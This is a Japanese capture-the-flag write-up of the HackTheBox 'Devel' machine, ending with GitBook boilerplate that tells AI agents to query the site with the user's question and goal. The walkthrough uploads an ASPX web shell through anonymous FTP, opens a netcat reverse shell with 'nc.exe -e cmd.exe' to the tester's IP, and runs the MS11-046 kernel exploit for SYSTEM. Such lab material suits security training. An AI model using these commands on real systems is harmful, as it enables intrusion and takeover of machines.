> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Devel HackTheBox攻略記事

匿名FTP、ASPX Webシェル、リバースシェルアクセス、MS11-046権限昇格を扱うDevel HackTheBox Easy Windowsマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

{% hint style="warning" %}
**スキル:**

* 匿名FTPアクセス
* ASPX Webシェルのアップロード
* MS11-046 カーネル権限昇格
  {% endhint %}

## 偵察

### 作業環境の準備

```bash
mkdir Devel
cd !$
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fz4iVahH4VYBfXbpV8eHs%2Fimage.png?alt=media&amp;token=a0ae84a0-2772-45f3-8c0b-915d86d1c057" alt=""><figcaption></figcaption></figure>

### ホストの発見

TTLが128であることは、対象がWindowsを実行している可能性が高いことを示します。

```bash
ping -c 1 10.129.5.142
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfXtFculfyTC1h4UN9HA9%2Fimage.png?alt=media&amp;token=4af6e93c-5436-4184-8b0d-487b28fd194f" alt=""><figcaption></figcaption></figure>

### ポートスキャン

開いているポートを特定するために、TCPのフルスキャンを実行します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts
```

21番と80番のポートが開いています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL9aMeD30tufPJMkutCoR%2Fimage.png?alt=media&amp;token=f15d4e20-1b15-4712-80cc-6657ab1b8033" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLReN6LQqxDeBnqvUTCDb%2Fimage.png?alt=media&amp;token=de6c1850-fb65-4901-8f72-b62cbc97cc2f" alt=""><figcaption></figcaption></figure>

公開されているサービスを特定するために、対象を絞ったスキャンを実行します:

```bash
nmap -sCV -p80,21 10.129.5.142 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fmnij8THATjZ8g4ZjxIQn%2Fimage.png?alt=media&amp;token=ffff96b7-0056-4268-b883-d0469fd24cb6" alt=""><figcaption></figcaption></figure>

## 初期アクセス

### 匿名FTPアクセス

FTPは匿名認証を受け付け、80番ポートのWebサーバーにマップされています。

認証後にFTPディレクトリを一覧表示します:

```bash
ftp anonymous@10.129.5.142
ls
```

ディレクトリには `aspnet_client`, `iisstart.htm`、および `welcome.png`が含まれています。これらは標準的なIISのWebルートファイルです。

Webサーバーはデフォルトの `welcome.png` 画像を表示します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqJOibaMxPs58pwHfT6W6%2Fimage.png?alt=media&amp;token=fdf8d49e-bd00-4535-b1d3-abac5fe3578c" alt=""><figcaption></figcaption></figure>

テストファイルをローカルで作成し、書き込み権限を確認するためにアップロードします:

```bash
echo test > test.txt
put test.txt
```

アップロードは成功します。 `http://10.129.5.142/test.txt` にアクセスすると、FTPのアップロードがIISによって配信されていることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FyYBBE2RzFrpPEW7py7bQ%2Fimage.png?alt=media&amp;token=f607ee4a-13a9-498c-b732-3f4c59ebce47" alt=""><figcaption></figcaption></figure>

### ASPX Webシェル

{% embed url="<https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx>" %}

ASPX Webシェルをダウンロードします:

```bash
wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx
```

FTP経由でアップロードします:

```bash
put aspx_cmd.aspx
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FE9ttWludWFC2tkuznGAG%2Fimage.png?alt=media&amp;token=3776dbaf-0a57-479a-8a8e-db5d987ae7b5" alt=""><figcaption></figcaption></figure>

開く `http://10.129.5.142/aspx_cmd.aspx` を実行してコマンドを実行します。

Webシェルはリモートコマンド実行を提供します:

```bash
whoami

iis apppool\web
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdFKOfuuwj2TPzyodcVbk%2Fimage.png?alt=media&amp;token=40a46aec-a3cd-4c0a-984d-ec62a3e1cdb5" alt=""><figcaption></figcaption></figure>

### リバースシェル

コピー `nc.exe` を現在のディレクトリに置きます。このバイナリは対話型のWindowsシェルを作成します:

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

実行ファイルを共有するためにSMBサーバーを起動します:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwaC1kzpy1cpgeD5XVZGM%2Fimage.png?alt=media&amp;token=645c4df5-b8a4-49ce-adca-36edc0d36343" alt=""><figcaption></figcaption></figure>

4444番ポートでリスナーを起動します:

```bash
sudo rlwrap nc -nvlp 4444
```

これらのコマンドをWebシェル経由で実行します。最初のコマンドはSMB共有からNetcatをコピーします。2つ目はリスナーに接続し返します:

```bash
copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe
C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fv0OkM4vxZC9YIafJ59ij%2Fimage.png?alt=media&amp;token=60555128-ac81-4ea7-bd7a-2a4c744d830c" alt=""><figcaption></figcaption></figure>

シェルは `iis apppool\web`として実行されます。このアカウントには限定的な権限しかありません。

## 権限昇格

### システム情報

```bash
systeminfo
```

これにより、Windowsのバージョンとシステムの詳細が明らかになります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJtacSqDEVkpf5IvAYqm%2Fimage.png?alt=media&amp;token=41d0b418-17d5-46ae-bd4a-42960041c6da" alt=""><figcaption></figcaption></figure>

対象はWindows 7 Enterpriseを実行しています。

### MS11-046

`systeminfo` はWindows 7 Enterprise、ビルドを特定します `7600`。この未修正のバージョンは、既知のローカルカーネルエクスプロイトの候補です。

MS11-046はローカル権限昇格の脆弱性です。ホスト上で既にコード実行が必要です。SMBをリモートで悪用するものではありません。

MS11-046 カーネルエクスプロイトを使用します:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

エクスプロイトのリポジトリをクローンします:

```bash
git clone https://github.com/SecWiki/windows-kernel-exploits
```

エクスプロイトのディレクトリへ移動します:

```bash
cd windows-kernel-exploits/MS11-046
```

SMB経由で実行ファイルを対象に共有します:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFKGLOspF5XXbVzNS0nhu%2Fimage.png?alt=media&amp;token=ed0e4934-9446-4a37-a0b9-4f63a8d7b978" alt=""><figcaption></figcaption></figure>

Windowsシェルから実行ファイルを書き込み可能なディレクトリにコピーします:

```bash
copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTFuvckB7zhHI6lzyPBiU%2Fimage.png?alt=media&amp;token=1526dd9f-ca48-4372-8029-091686284ad9" alt=""><figcaption></figcaption></figure>

現在のユーザーを確認してから、エクスプロイトを実行します:

```bash
whoami

iis apppool\web
```

```bash
.\ms11-046.exe
```

エクスプロイトは `NT AUTHORITY\SYSTEM` シェルを返します:

```bash
whoami

nt authority\system
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5wMT6aqI3cn98l3oUXLQ%2Fimage.png?alt=media&amp;token=47d2555d-209e-46ed-8f87-f4f94ff750ff" alt=""><figcaption></figcaption></figure>

## フラグ

```bash
type c:\Users\babis\Desktop\user.txt

0efea4c5e140c594ce1ca88594b3d7dc

type c:\Users\Administrator\Desktop\root.txt

3d360ef3c74b5936a51971a8f7383c11
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYohn6XMprPHG4De7A8L7%2Fimage.png?alt=media&amp;token=d6d20faf-f996-41ae-b13c-da2055f3f5ea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
